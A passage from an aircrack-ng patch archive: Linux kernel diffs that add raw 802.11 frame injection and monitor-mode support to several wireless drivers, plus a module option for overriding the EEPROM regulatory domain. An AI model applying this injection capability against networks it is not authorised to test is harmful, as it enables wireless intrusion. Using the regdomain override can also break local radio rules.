get_curr_tx_free_desc(dev, priority)); ieee80211_r8180_stop_queue(priv->ieee80211); } - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,0); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + rtl8180_tx(dev, (u32*)skb->data, skb->len, priority, morefrag,0); + if (!check_nic_enought_desc(dev, priority)) ieee80211_r8180_stop_queue(priv->ieee80211); //spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -2634,7 +2637,11 @@ spin_lock_init(&priv->tx_lock); sema_init(&priv->wx_sem,1); priv->workqueue = create_workqueue(DRV_NAME); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->IBSS_work,(void(*)(void*)) rtl8180_IBSS_create_wq,dev); +#else + INIT_WORK(&priv->IBSS_work,(void(*)(void*)) rtl8180_IBSS_create_wq); +#endif tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long)) rtl8180_irq_rx_tasklet, @@ -3411,10 +3418,18 @@ if (priv->ieee80211->iw_mode == IW_MODE_ADHOC) rtl8180_IBSS_create(dev); -/* if (priv->ieee80211->iw_mode == IW_MODE_MONITOR){ + if (priv->ieee80211->iw_mode == IW_MODE_MONITOR) { + priv->retry_rts = 0; + priv->retry_data = 0; + rtl8180_tx_enable(dev); + netif_carrier_on(dev); + if(netif_queue_stopped(dev)) + netif_wake_queue(dev); + else + netif_start_queue(dev); } -*/ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) { // rtl8180_tx_enable(dev); @@ -3608,8 +3623,7 @@ pio_flags = (unsigned long)pci_resource_flags (pdev, 0); if (!(pio_flags & IORESOURCE_IO)) { - DMESG("%s: region #0 not a PIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #0 not a PIO resource, aborting"); goto fail; } @@ -3629,8 +3643,7 @@ pmem_flags = pci_resource_flags (pdev, 1); if (!(pmem_flags & IORESOURCE_MEM)) { - DMESG("%s: region #1 not a MMIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #1 not a MMIO resource, aborting"); goto fail; } @@ -3664,7 +3677,12 @@ dev->do_ioctl = do_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ diff -Naur rtl8180-0.21_orig/r8180.h rtl8180-0.21_patched/r8180.h --- rtl8180-0.21_orig/r8180.h 2005-04-11 18:36:26.000000000 +0200 +++ rtl8180-0.21_patched/r8180.h 2007-02-18 17:35:09.000000000 +0100 @@ -25,7 +25,10 @@ #include #include +#include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include aircrack-ng-1.2-rc4/patches/mac80211_2.6.26-wl_frag.patch0000644000000000000000000000113211037473530020757 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 2b912cf..aaa086f 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -636,6 +636,11 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) if (ieee80211_hdrlen(hdr->frame_control) < 24) return TX_CONTINUE; + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + (tx->sdata->vif.type == IEEE80211_IF_TYPE_MNTR) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) + return TX_CONTINUE; + if (!ieee80211_is_data_qos(hdr->frame_control)) { info->flags |= IEEE80211_TX_CTL_ASSIGN_SEQ; return TX_CONTINUE; aircrack-ng-1.2-rc4/patches/b43-injection-2.6.24.4.patch0000644000000000000000000000553311000127110020617 0ustar rootroot# Kernel >= 2.6.24.1 highly recommended # Fixes injection speed (up to 350 pps) # Fixes fragmented injection (requires mac80211 patch too) diff -bBur linux-2.6.24.4/drivers/net/wireless/b43/main.c linux-2.6.24.4-sud/drivers/net/wireless/b43/main.c --- linux-2.6.24.4/drivers/net/wireless/b43/main.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43/main.c 2008-04-05 16:45:11.000000000 +0200 @@ -2516,6 +2516,11 @@ goto out; if (unlikely(b43_status(dev) < B43_STAT_STARTED)) goto out; + + if (ctl->type == IEEE80211_IF_TYPE_MNTR) { + ctl->flags |= IEEE80211_TXCTL_NO_ACK; + } + /* DMA-TX is done without a global lock. */ if (b43_using_pio(dev)) { spin_lock_irqsave(&wl->irq_lock, flags); diff -bBur linux-2.6.24.4/drivers/net/wireless/b43/xmit.c linux-2.6.24.4-sud/drivers/net/wireless/b43/xmit.c --- linux-2.6.24.4/drivers/net/wireless/b43/xmit.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43/xmit.c 2008-04-05 16:48:51.000000000 +0200 @@ -295,7 +295,8 @@ /* MAC control */ if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK)) mac_ctl |= B43_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43_TX4_MAC_HWSEQ; if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT) diff -bBur linux-2.6.24.4/drivers/net/wireless/b43legacy/main.c linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/main.c --- linux-2.6.24.4/drivers/net/wireless/b43legacy/main.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/main.c 2008-04-05 16:45:11.000000000 +0200 @@ -2379,6 +2379,11 @@ goto out; if (unlikely(b43legacy_status(dev) < B43legacy_STAT_STARTED)) goto out; + + if (ctl->type == IEEE80211_IF_TYPE_MNTR) { + ctl->flags |= IEEE80211_TXCTL_NO_ACK; + } + /* DMA-TX is done without a global lock. */ if (b43legacy_using_pio(dev)) { spin_lock_irqsave(&wl->irq_lock, flags); diff -bBur linux-2.6.24.4/drivers/net/wireless/b43legacy/xmit.c linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/xmit.c --- linux-2.6.24.4/drivers/net/wireless/b43legacy/xmit.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/xmit.c 2008-04-05 16:49:02.000000000 +0200 @@ -290,7 +290,8 @@ /* MAC control */ if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT) aircrack-ng-1.2-rc4/patches/ath5k-pass-failed-crc.patch0000644000000000000000000000107011143173567021346 0ustar rootrootdiff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c --- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 @@ -1732,6 +1738,11 @@ goto accept; } + /* Allow CRC errors through */ + if (rs.rs_status & AR5K_RXERR_CRC) { + goto accept; + } + /* let crypto-error packets fall through in MNTR */ if ((rs.rs_status & ~(AR5K_RXERR_DECRYPT|AR5K_RXERR_MIC)) || aircrack-ng-1.2-rc4/patches/hostap-kernel-2.6.18.patch0000644000000000000000000001722210761053203020700 0ustar rootrootdiff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_80211_tx.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_80211_tx.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c 2006-09-21 01:30:18.000000000 -0400 @@ -69,6 +69,9 @@ iface = netdev_priv(dev); local = iface->local; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -234,6 +237,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -404,8 +408,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_cs.c.orig Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_cs.c.rej diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_hw.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_hw.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_hw.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_hw.c 2006-09-21 01:30:18.000000000 -0400 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1031,6 +1060,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1466,6 +1499,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3156,6 +3193,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_hw.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_ioctl.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_ioctl.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c 2006-09-21 01:30:18.000000000 -0400 @@ -1104,33 +1104,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1199,7 +1173,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_main.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_main.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_main.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_main.c 2006-09-21 01:30:18.000000000 -0400 @@ -331,7 +331,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_main.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_pci.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_pci.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_pci.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_pci.c 2006-09-21 01:30:18.000000000 -0400 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_pci.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_plx.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_plx.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_plx.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_plx.c 2006-09-21 01:30:18.000000000 -0400 @@ -101,6 +101,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_plx.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_wlan.h linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_wlan.h --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_wlan.h 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_wlan.h 2006-09-21 01:30:18.000000000 -0400 @@ -575,6 +575,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-rc4/patches/mac80211_2.6.28-rc8-wl_frag+ack_radiotap.patch0000644000000000000000000000576711121505706024105 0ustar rootrootdiff --git a/include/net/ieee80211_radiotap.h b/include/net/ieee80211_radiotap.h index d364fd5..4e28c0c 100644 --- a/include/net/ieee80211_radiotap.h +++ b/include/net/ieee80211_radiotap.h @@ -247,6 +247,9 @@ enum ieee80211_radiotap_type { * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ +#define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* frame should not be ACKed */ +#define IEEE80211_RADIOTAP_F_TX_NOSEQ 0x0010 /* sequence number handled + * by userspace */ /* Ugly macro to convert literal channel numbers into their mhz equivalents * There are certianly some conditions that will break this (like feeding it '30') diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 22702e7..b397aed 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -609,6 +609,10 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) u8 *qc; int tid; + if (unlikely(!(info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ))) + return TX_CONTINUE; + info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ; + /* * Packet injection may want to control the sequence * number, if we have no matching interface then we @@ -867,6 +871,7 @@ __ieee80211_parse_tx_radiotap(struct ieee80211_tx_data *tx, struct ieee80211_radiotap_header *rthdr = (struct ieee80211_radiotap_header *) skb->data; struct ieee80211_supported_band *sband; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); int ret = ieee80211_radiotap_iterator_init(&iterator, rthdr, skb->len); sband = tx->local->hw.wiphy->bands[tx->channel->band]; @@ -913,6 +918,12 @@ __ieee80211_parse_tx_radiotap(struct ieee80211_tx_data *tx, if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FRAG) tx->flags |= IEEE80211_TX_FRAGMENTED; break; + case IEEE80211_RADIOTAP_TX_FLAGS: + if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOACK) + info->flags |= IEEE80211_TX_CTL_NO_ACK; + if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOSEQ) + info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ; + break; /* * Please update the file @@ -965,6 +976,8 @@ __ieee80211_tx_prepare(struct ieee80211_tx_data *tx, * it will be cleared/left by radiotap as desired. */ tx->flags |= IEEE80211_TX_FRAGMENTED; + /* Same here, controlled by radiotap and the stack */ + info->flags |= IEEE80211_TX_CTL_ASSIGN_SEQ; /* process and remove the injection radiotap header */ sdata = IEEE80211_DEV_TO_SUB_IF(dev); @@ -992,13 +1005,10 @@ __ieee80211_tx_prepare(struct ieee80211_tx_data *tx, info->flags |= IEEE80211_TX_CTL_AMPDU; } - if (is_multicast_ether_addr(hdr->addr1)) { - tx->flags &= ~IEEE80211_TX_UNICAST; + if (is_multicast_ether_addr(hdr->addr1)) info->flags |= IEEE80211_TX_CTL_NO_ACK; - } else { + else tx->flags |= IEEE80211_TX_UNICAST; - info->flags &= ~IEEE80211_TX_CTL_NO_ACK; - } if (tx->flags & IEEE80211_TX_FRAGMENTED) { if ((tx->flags & IEEE80211_TX_UNICAST) && aircrack-ng-1.2-rc4/patches/ath5k_regdomain_override.patch0000644000000000000000000000265011324503527022336 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ath5k/base.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ath5k/base.c 2010-01-16 00:02:51.000000000 +0300 @@ -68,6 +68,11 @@ module_param_named(all_channels, modparam_all_channels, bool, S_IRUGO); MODULE_PARM_DESC(all_channels, "Expose all channels the device can use."); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + /******************\ * Internal defines * @@ -572,6 +577,15 @@ goto err_irq; } + if (modparam_override_eeprom_regdomain != -1) { + ATH5K_ERR(sc, "DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + ATH5K_ERR(sc, "Your card was not certified to operate on the domain you choosed.\n"); + ATH5K_ERR(sc, "This might result in a violation of your local regulatory rules.\n"); + ATH5K_ERR(sc, "Do not ever do that unless you really know what you do!\n"); + sc->ah->ah_capabilities.cap_eeprom.ee_regdomain = + modparam_override_eeprom_regdomain; + } + /* set up multi-rate retry capabilities */ if (sc->ah->ah_version == AR5K_AR5212) { hw->max_rates = 4; aircrack-ng-1.2-rc4/patches/ieee80211_inject.patch0000644000000000000000000000153010761053203020224 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c --- linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c 2006-10-13 14:18:10.000000000 +0200 +++ linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c 2007-04-09 17:07:45.000000000 +0200 @@ -291,6 +291,23 @@ goto success; } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); + + goto success; + } + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); crypt = ieee->crypt[ieee->tx_keyidx]; aircrack-ng-1.2-rc4/patches/ieee80211_inject-2.6.22.patch0000644000000000000000000000140410761053203020751 0ustar rootroot--- linux-2.6.23_orig/net/ieee80211/ieee80211_tx.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23/net/ieee80211/ieee80211_tx.c 2007-10-14 19:39:49.000000000 +0200 @@ -293,6 +293,23 @@ ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + skb_copy_from_linear_data(skb, skb_put(txb->fragments[0],skb->len), skb->len); + + goto success; + } + crypt = ieee->crypt[ieee->tx_keyidx]; encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && aircrack-ng-1.2-rc4/patches/mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch0000644000000000000000000000105711175401024024713 0ustar rootroot tx.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index b47435d..751934b 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -539,7 +539,8 @@ ieee80211_tx_h_rate_ctrl(struct ieee80211_tx_data *tx) if (tx->sta) tx->sta->last_tx_rate = txrc.reported_rate; - if (unlikely(!info->control.rates[0].count)) + if (unlikely(!info->control.rates[0].count) || + info->flags & IEEE80211_TX_CTL_NO_ACK) info->control.rates[0].count = 1; if (is_multicast_ether_addr(hdr->addr1)) { aircrack-ng-1.2-rc4/patches/linux-wlanng-kernel-2.6.28.patch0000644000000000000000000002654711166027223022043 0ustar rootrootdiff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c 2009-04-04 22:53:46.000000000 -0400 @@ -1873,8 +1873,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3114,11 +3122,32 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); @@ -3142,7 +3171,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3588,6 +3618,17 @@ { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(rxdesc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c 2009-04-04 23:13:53.000000000 -0400 @@ -1430,8 +1430,17 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } + cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3431,37 +3440,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); +// hw->txbuff.txfrm.desc.tx_control = +// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* copy the header over to the txdesc */ - 